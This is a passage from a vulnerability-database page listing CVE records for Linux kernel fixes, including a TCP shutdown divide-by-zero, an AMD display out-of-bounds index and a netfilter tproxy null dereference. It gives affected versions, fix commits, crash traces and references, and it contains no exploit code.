                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:14.051Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp.c",
            "net/ipv4/tcp_input.c",
            "net/ipv4/tcp_output.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "34e41a031fd7523bf1cd00a2adca2370aebea270",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ed5e279b69e007ce6c0fe82a5a534c1b19783214",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "413c33b9f3bc36fdf719690a78824db9f88a9485",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2552c9d9440f8e7a2ed0660911ff00f25b90a0a4",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3fe4ef0568a48369b1891395d13ac593b1ba41b1",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f47d0d32fa94e815fdd78b8b88684873e67939f4",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "cbf232ba11bc86a5281b4f00e1151349ef4d45cf",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "94062790aedb505bdda209b10bea47b294d6394f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp.c",
            "net/ipv4/tcp_input.c",
            "net/ipv4/tcp_output.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets\n\nTCP_SYN_RECV state is really special, it is only used by\ncross-syn connections, mostly used by fuzzers.\n\nIn the following crash [1], syzbot managed to trigger a divide\nby zero in tcp_rcv_space_adjust()\n\nA socket makes the following state transitions,\nwithout ever calling tcp_init_transfer(),\nmeaning tcp_init_buffer_space() is also not called.\n\n         TCP_CLOSE\nconnect()\n         TCP_SYN_SENT\n         TCP_SYN_RECV\nshutdown() -\u003e tcp_shutdown(sk, SEND_SHUTDOWN)\n         TCP_FIN_WAIT1\n\nTo fix this issue, change tcp_shutdown() to not\nperform a TCP_SYN_RECV -\u003e TCP_FIN_WAIT1 transition,\nwhich makes no sense anyway.\n\nWhen tcp_rcv_state_process() later changes socket state\nfrom TCP_SYN_RECV to TCP_ESTABLISH, then look at\nsk-\u003esk_shutdown to finally enter TCP_FIN_WAIT1 state,\nand send a FIN packet from a sane socket state.\n\nThis means tcp_send_fin() can now be called from BH\ncontext, and must use GFP_ATOMIC allocations.\n\n[1]\ndivide error: 0000 [#1] PREEMPT SMP KASAN NOPTI\nCPU: 1 PID: 5084 Comm: syz-executor358 Not tainted 6.9.0-rc6-syzkaller-00022-g98369dccd2f8 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\n RIP: 0010:tcp_rcv_space_adjust+0x2df/0x890 net/ipv4/tcp_input.c:767\nCode: e3 04 4c 01 eb 48 8b 44 24 38 0f b6 04 10 84 c0 49 89 d5 0f 85 a5 03 00 00 41 8b 8e c8 09 00 00 89 e8 29 c8 48 0f af c3 31 d2 \u003c48\u003e f7 f1 48 8d 1c 43 49 8d 96 76 08 00 00 48 89 d0 48 c1 e8 03 48\nRSP: 0018:ffffc900031ef3f0 EFLAGS: 00010246\nRAX: 0c677a10441f8f42 RBX: 000000004fb95e7e RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: 0000000027d4b11f R08: ffffffff89e535a4 R09: 1ffffffff25e6ab7\nR10: dffffc0000000000 R11: ffffffff8135e920 R12: ffff88802a9f8d30\nR13: dffffc0000000000 R14: ffff88802a9f8d00 R15: 1ffff1100553f2da\nFS:  00005555775c0380(0000) GS:ffff8880b9500000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f1155bf2304 CR3: 000000002b9f2000 CR4: 0000000000350ef0\nCall Trace:\n \u003cTASK\u003e\n  tcp_recvmsg_locked+0x106d/0x25a0 net/ipv4/tcp.c:2513\n  tcp_recvmsg+0x25d/0x920 net/ipv4/tcp.c:2578\n  inet6_recvmsg+0x16a/0x730 net/ipv6/af_inet6.c:680\n  sock_recvmsg_nosec net/socket.c:1046 [inline]\n  sock_recvmsg+0x109/0x280 net/socket.c:1068\n  ____sys_recvmsg+0x1db/0x470 net/socket.c:2803\n  ___sys_recvmsg net/socket.c:2845 [inline]\n  do_recvmmsg+0x474/0xae0 net/socket.c:2939\n  __sys_recvmmsg net/socket.c:3018 [inline]\n  __do_sys_recvmmsg net/socket.c:3041 [inline]\n  __se_sys_recvmmsg net/socket.c:3034 [inline]\n  __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3034\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7faeb6363db9\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 c1 17 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffcc1997168 EFLAGS: 00000246 ORIG_RAX: 000000000000012b\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007faeb6363db9\nRDX: 0000000000000001 RSI: 0000000020000bc0 RDI: 0000000000000005\nRBP: 0000000000000000 R08: 0000000000000000 R09: 000000000000001c\nR10: 0000000000000122 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000001"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:45.826Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/34e41a031fd7523bf1cd00a2adca2370aebea270"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed5e279b69e007ce6c0fe82a5a534c1b19783214"
        },
        {
          "url": "https://git.kernel.org/stable/c/413c33b9f3bc36fdf719690a78824db9f88a9485"
        },
        {
          "url": "https://git.kernel.org/stable/c/2552c9d9440f8e7a2ed0660911ff00f25b90a0a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fe4ef0568a48369b1891395d13ac593b1ba41b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/f47d0d32fa94e815fdd78b8b88684873e67939f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbf232ba11bc86a5281b4f00e1151349ef4d45cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/94062790aedb505bdda209b10bea47b294d6394f"
        },
        {
          "url": "https://www.openwall.com/lists/oss-security/2024/10/29/1"
        }
      ],
      "title": "tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36905",
    "datePublished": "2024-05-30T15:29:06.046Z",
    "dateReserved": "2024-05-30T15:25:07.067Z",
    "dateUpdated": "2026-05-12T11:54:14.051Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38552 (GCVE-0-2024-38552)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

drm/amd/display: Fix potential index out of bounds in color transformation function

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix potential index out of bounds in color transformation function Fixes index out of bounds issue in the color transformation function. The issue could occur when the index 'i' exceeds the number of transfer function points (TRANSFER_FUNC_POINTS). The fix adds a check to ensure 'i' is within bounds before accessing the transfer function points. If 'i' is out of bounds, an error message is logged and the function returns false to indicate an error. Reported by smatch: drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:405 cm_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.red' 1025 <= s32max drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:406 cm_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.green' 1025 <= s32max drivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:407 cm_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.blue' 1025 <= s32max

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/604c506ca43fce52b…
https://git.kernel.org/stable/c/e280ab978c8144310…
https://git.kernel.org/stable/c/04bc4d1090c343025…
https://git.kernel.org/stable/c/ced9c4e2289a786b8…
https://git.kernel.org/stable/c/98b8a6bfd30d07a19…
https://git.kernel.org/stable/c/4e8c8b37ee84b3b19…
https://git.kernel.org/stable/c/123edbae64f4d2198…
https://git.kernel.org/stable/c/7226ddf3311c5e5a7…
https://git.kernel.org/stable/c/63ae548f1054a0b71…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 604c506ca43fce52bb882cff9c1fdf2ec3b4029c (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < e280ab978c81443103d7c61bdd1d8d708cf6ed6d (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 04bc4d1090c343025d69149ca669a27c5b9c34a7 (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < ced9c4e2289a786b8fa684d8893b7045ea53ef7e (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 98b8a6bfd30d07a19cfacdf82b50f84bf3360869 (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 4e8c8b37ee84b3b19c448d2b8e4c916d2f5b9c86 (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 123edbae64f4d21984359b99c6e79fcde31c6123 (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 7226ddf3311c5e5a7726ad7d4e7b079bb3cfbb29 (git) Affected: b629596072e5fa901c84f9e88d845a696ee32942 , < 63ae548f1054a0b71678d0349c7dc9628ddd42ca (git)
Linux	Linux	Affected: 4.16 Unaffected: 0 , < 4.16 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:24.332Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/604c506ca43fce52bb882cff9c1fdf2ec3b4029c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e280ab978c81443103d7c61bdd1d8d708cf6ed6d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04bc4d1090c343025d69149ca669a27c5b9c34a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ced9c4e2289a786b8fa684d8893b7045ea53ef7e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98b8a6bfd30d07a19cfacdf82b50f84bf3360869"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e8c8b37ee84b3b19c448d2b8e4c916d2f5b9c86"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/123edbae64f4d21984359b99c6e79fcde31c6123"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7226ddf3311c5e5a7726ad7d4e7b079bb3cfbb29"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/63ae548f1054a0b71678d0349c7dc9628ddd42ca"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38552",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:14:50.788974Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:57.332Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:36.137Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dcn10/dcn10_cm_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "604c506ca43fce52bb882cff9c1fdf2ec3b4029c",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "e280ab978c81443103d7c61bdd1d8d708cf6ed6d",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "04bc4d1090c343025d69149ca669a27c5b9c34a7",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "ced9c4e2289a786b8fa684d8893b7045ea53ef7e",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "98b8a6bfd30d07a19cfacdf82b50f84bf3360869",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "4e8c8b37ee84b3b19c448d2b8e4c916d2f5b9c86",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "123edbae64f4d21984359b99c6e79fcde31c6123",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "7226ddf3311c5e5a7726ad7d4e7b079bb3cfbb29",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            },
            {
              "lessThan": "63ae548f1054a0b71678d0349c7dc9628ddd42ca",
              "status": "affected",
              "version": "b629596072e5fa901c84f9e88d845a696ee32942",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dcn10/dcn10_cm_common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.16"
            },
            {
              "lessThan": "4.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix potential index out of bounds in color transformation function\n\nFixes index out of bounds issue in the color transformation function.\nThe issue could occur when the index \u0027i\u0027 exceeds the number of transfer\nfunction points (TRANSFER_FUNC_POINTS).\n\nThe fix adds a check to ensure \u0027i\u0027 is within bounds before accessing the\ntransfer function points. If \u0027i\u0027 is out of bounds, an error message is\nlogged and the function returns false to indicate an error.\n\nReported by smatch:\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:405 cm_helper_translate_curve_to_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.red\u0027 1025 \u003c= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:406 cm_helper_translate_curve_to_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.green\u0027 1025 \u003c= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:407 cm_helper_translate_curve_to_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.blue\u0027 1025 \u003c= s32max"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:53.287Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/604c506ca43fce52bb882cff9c1fdf2ec3b4029c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e280ab978c81443103d7c61bdd1d8d708cf6ed6d"
        },
        {
          "url": "https://git.kernel.org/stable/c/04bc4d1090c343025d69149ca669a27c5b9c34a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/ced9c4e2289a786b8fa684d8893b7045ea53ef7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/98b8a6bfd30d07a19cfacdf82b50f84bf3360869"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e8c8b37ee84b3b19c448d2b8e4c916d2f5b9c86"
        },
        {
          "url": "https://git.kernel.org/stable/c/123edbae64f4d21984359b99c6e79fcde31c6123"
        },
        {
          "url": "https://git.kernel.org/stable/c/7226ddf3311c5e5a7726ad7d4e7b079bb3cfbb29"
        },
        {
          "url": "https://git.kernel.org/stable/c/63ae548f1054a0b71678d0349c7dc9628ddd42ca"
        }
      ],
      "title": "drm/amd/display: Fix potential index out of bounds in color transformation function",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38552",
    "datePublished": "2024-06-19T13:35:24.067Z",
    "dateReserved": "2024-06-18T19:36:34.920Z",
    "dateUpdated": "2026-05-12T11:54:36.137Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36270 (GCVE-0-2024-36270)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:53

Title

netfilter: tproxy: bail out if IP has been disabled on the device

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: tproxy: bail out if IP has been disabled on the device syzbot reports: general protection fault, probably for non-canonical address 0xdffffc0000000003: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f] [..] RIP: 0010:nf_tproxy_laddr4+0xb7/0x340 net/ipv4/netfilter/nf_tproxy_ipv4.c:62 Call Trace: nft_tproxy_eval_v4 net/netfilter/nft_tproxy.c:56 [inline] nft_tproxy_eval+0xa9a/0x1a00 net/netfilter/nft_tproxy.c:168 __in_dev_get_rcu() can return NULL, so check for this.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/10f0af5234dafd03d…
https://git.kernel.org/stable/c/07eeedafc59c45fe5…
https://git.kernel.org/stable/c/6fe5af4ff06db3d4d…
https://git.kernel.org/stable/c/caf3a8afb5ea00db6…
https://git.kernel.org/stable/c/570b4c52096e62fda…
https://git.kernel.org/stable/c/819bfeca16eb9ad64…
https://git.kernel.org/stable/c/21a673bddc8fd4873…

Impacted products

2 products

Vendor	Product	Version
